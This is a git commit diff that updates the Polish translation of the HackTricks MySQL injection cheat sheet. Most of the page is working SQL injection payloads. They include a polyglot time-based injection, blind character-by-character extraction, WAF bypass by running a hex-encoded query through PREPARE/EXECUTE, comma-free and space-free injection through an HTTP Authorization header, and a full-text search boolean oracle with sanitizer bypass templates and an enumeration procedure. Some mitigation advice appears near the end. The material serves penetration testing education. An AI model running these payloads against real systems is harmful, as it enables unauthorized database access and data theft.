mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
9df87765c1
commit
84407a88ed
@ -12,7 +12,7 @@
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||
```
|
||||
## Ciekawe Funkcje
|
||||
## Interesujące funkcje
|
||||
|
||||
### Potwierdź Mysql:
|
||||
```
|
||||
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Wszystkie wstrzyknięcia
|
||||
## Wszystkie injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Flow
|
||||
## Przepływ
|
||||
|
||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów).
|
||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz użyć "_**information_schema.tables**_" zamiast "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAFs).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Ślepy jeden po drugim**
|
||||
### **Blind one by one**
|
||||
|
||||
- `substr(version(),X,1)='r'` lub `substring(version(),X,1)=0x70` lub `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **Ślepe dodawanie**
|
||||
### **Blind adding**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Wykryj liczbę kolumn
|
||||
## Wykrywanie liczby kolumn
|
||||
|
||||
Używając prostego ORDER
|
||||
```
|
||||
@ -101,83 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**Dowiedz się tutaj o różnych opcjach, aby** [**wykorzystać atak Mysql injection do uzyskania SSRF**](mysql-ssrf.md)**.**
|
||||
**Dowiedz się tutaj różnych opcji, aby** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF bypass tricks
|
||||
## Sztuczki omijania WAF
|
||||
|
||||
### Wykonywanie zapytań za pomocą Prepared Statements
|
||||
### Wykonywanie zapytań przez Prepared Statements
|
||||
|
||||
Gdy dozwolone są złożone zapytania, może być możliwe ominięcie WAF-ów, przypisując do zmiennej szesnastkową reprezentację zapytania, które chcesz wykonać (używając SET), a następnie używając instrukcji PREPARE i EXECUTE w MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
|
||||
Gdy stacked queries są dozwolone, może być możliwe ominięcie WAFs przez przypisanie do zmiennej hexowej reprezentacji zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Dla uzyskania dodatkowych informacji proszę odwołać się do [tego wpisu na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Więcej informacji znajdziesz w [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Alternatywy dla information_schema
|
||||
### Alternatywy dla Information_schema
|
||||
|
||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ _**mysql.innodb_table_stats**_ lub _**sys.x$schema_flattened_keys**_ lub **sys.schema_table_statistics**.
|
||||
Pamiętaj, że w „nowoczesnych” wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ przez _**mysql.innodb_table_stats**_, _**sys.x$schema_flattened_keys**_ albo **sys.schema_table_statistics**
|
||||
|
||||
### MySQLinjection bez PRZECINKÓW
|
||||
### MySQLinjection without COMMAS
|
||||
|
||||
Wybierz 2 kolumny bez użycia przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Select 2 kolumny bez użycia żadnego przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Pobieranie wartości bez nazwy kolumny
|
||||
|
||||
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tabeli, możesz spróbować znaleźć, ile kolumn tam jest, wykonując coś takiego:
|
||||
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować przeprowadzić brute force na zawartości flagi, próbując znak po znaku:
|
||||
Zakładając, że są 2 kolumny (pierwsza to ID), a druga to flag, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Wstrzyknięcie bez SPACJI (sztuczka z komentarzem `/**/`)
|
||||
### Injection without SPACES (`/**/` comment trick)
|
||||
|
||||
Niektóre aplikacje sanitizują lub analizują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
|
||||
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białą przestrzeń, można jej użyć do całkowitego usunięcia normalnych spacji z ładunku, zachowując jednocześnie poprawność składniową zapytania.
|
||||
Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
|
||||
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białe znaki, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, jednocześnie zachowując poprawność składniową zapytania.
|
||||
|
||||
Przykład wstrzyknięcia opartego na czasie, omijającego filtr spacji:
|
||||
Przykład time-based blind injection omijającego filtr spacji:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Które baza danych odbiera jako:
|
||||
Które zostaje odebrane przez bazę danych jako:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
To jest szczególnie przydatne, gdy:
|
||||
Jest to szczególnie przydatne, gdy:
|
||||
|
||||
* Kontrolowany bufor jest ograniczony rozmiarem (np. `%128s`) i spacje mogłyby przedwcześnie zakończyć dane wejściowe.
|
||||
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie normalne spacje są usuwane lub używane jako separatory.
|
||||
* W połączeniu z prymitywami `INTO OUTFILE`, aby osiągnąć pełne RCE przed uwierzytelnieniem (zobacz sekcję MySQL File RCE).
|
||||
* Kontrolowany bufor ma ograniczony rozmiar (np. `%128s`) i spacje zakończyłyby wejście przedwcześnie.
|
||||
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory.
|
||||
* W połączeniu z prymitywami `INTO OUTFILE` w celu osiągnięcia pełnego pre-auth RCE (zobacz sekcję MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### Historia MySQL
|
||||
|
||||
Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: **sys.x$statement_analysis**
|
||||
Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: **sys.x$statement_analysis**
|
||||
|
||||
### Alternatywy wersji**s**
|
||||
### Wersje alternatywne**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Inne przewodniki dotyczące wstrzykiwania MYSQL
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
To nie jest klasyczny SQL injection. Gdy deweloperzy przekazują dane użytkownika do `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST skupia się wyłącznie na przerwaniu cytatów i pomija tę powierzchnię.
|
||||
|
||||
Key points:
|
||||
- Operators are evaluated inside the quotes: `+` (musi zawierać), `-` (nie może zawierać), `*` (trailing wildcard), `"..."` (dokładna fraza), `()` (grupowanie), `<`/`>`/`~` (wagi). Zobacz dokumentację MySQL.
|
||||
- To pozwala na testy obecności/nieobecności oraz testy prefiksowe bez wychodzenia z literału ciągu znaków, np. `AGAINST('+admin*' IN BOOLEAN MODE)` aby sprawdzić dowolny termin zaczynający się od `admin`.
|
||||
- Przydatne do budowy orakli, takich jak „czy którykolwiek wiersz zawiera termin z prefiksem X?”, oraz do enumeracji ukrytych ciągów przez rozszerzanie prefiksów.
|
||||
|
||||
Przykładowe zapytanie zbudowane przez backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy zestaw wyników jest pusty (np. przekierowanie vs. komunikat o błędzie), to zachowanie staje się oraklem boolowskim, który można wykorzystać do wyliczenia prywatnych danych, takich jak ukryte/usunięte tytuły.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: jeśli backend przycina 1–2 końcowe znaki w każdym słowie za pomocą regexu takiego jak `(\b.{1,2})(\s)|(\b.{1,2}$)`, wyślij `prefix*ZZ`. Sanitizer przytnie `ZZ`, ale zostawi `*`, więc `prefix*` przetrwa.
|
||||
- Early-break stripping: jeśli kod usuwa operatory w każdym słowie, ale przestaje przetwarzać, gdy znajdzie dowolny token o długości ≥ min length, wyślij dwa tokeny: pierwszy to śmieciowy token spełniający próg długości, drugi niesie operator payload. Na przykład: `&&&&& +jack*ZZ` → po czyszczeniu: `+&&&&& +jack*`.
|
||||
|
||||
Payload template (URL-encoded):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` to `&`, `%2B` to `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
|
||||
- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
|
||||
|
||||
Przebieg enumeracji:
|
||||
1) Zacznij od `{FUZZ} = a…z,0…9`, aby znaleźć dopasowania pierwszej litery za pomocą `+a*`, `+b*`, …
|
||||
2) Dla każdego pozytywnego prefiksu rozgałęź: `a* → aa* / ab* / …`. Powtarzaj, aby odzyskać cały ciąg.
|
||||
3) Rozdziel żądania (proxies, multiple accounts) jeśli aplikacja wymusza flood control.
|
||||
|
||||
Dlaczego tytuły często leakują, a treści nie:
|
||||
- Niektóre aplikacje wykonują checki widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku „any results?” przed filtrowaniem, występują existence leaks.
|
||||
|
||||
Środki zaradcze:
|
||||
- Jeśli nie potrzebujesz logiki Boolean, użyj `IN NATURAL LANGUAGE MODE` lub traktuj dane wejściowe użytkownika jako literal (escape/quote disables operators in other modes).
|
||||
- Jeśli wymagany jest tryb Boolean, usuń lub zneutralizuj wszystkie Boolean operators (`+ - * " ( ) < > ~`) dla każdego tokenu (no early breaks) po tokenizacji.
|
||||
- Zastosuj filtry widoczności/autoryzacji przed MATCH, albo ujednolić odpowiedzi (constant timing/status) gdy result set jest empty vs. non-empty.
|
||||
- Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` także parsują operatory wewnątrz quoted arguments.
|
||||
|
||||
Uwagi:
|
||||
- Prepared statements nie chronią przed semantycznym nadużyciem `REGEXP` lub search operators. Wejście takie jak `.*` pozostaje permissive regex nawet wewnątrz zacytowanego `REGEXP '.*'`. Używaj allow-lists lub explicit guards.
|
||||
|
||||
## Inne MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user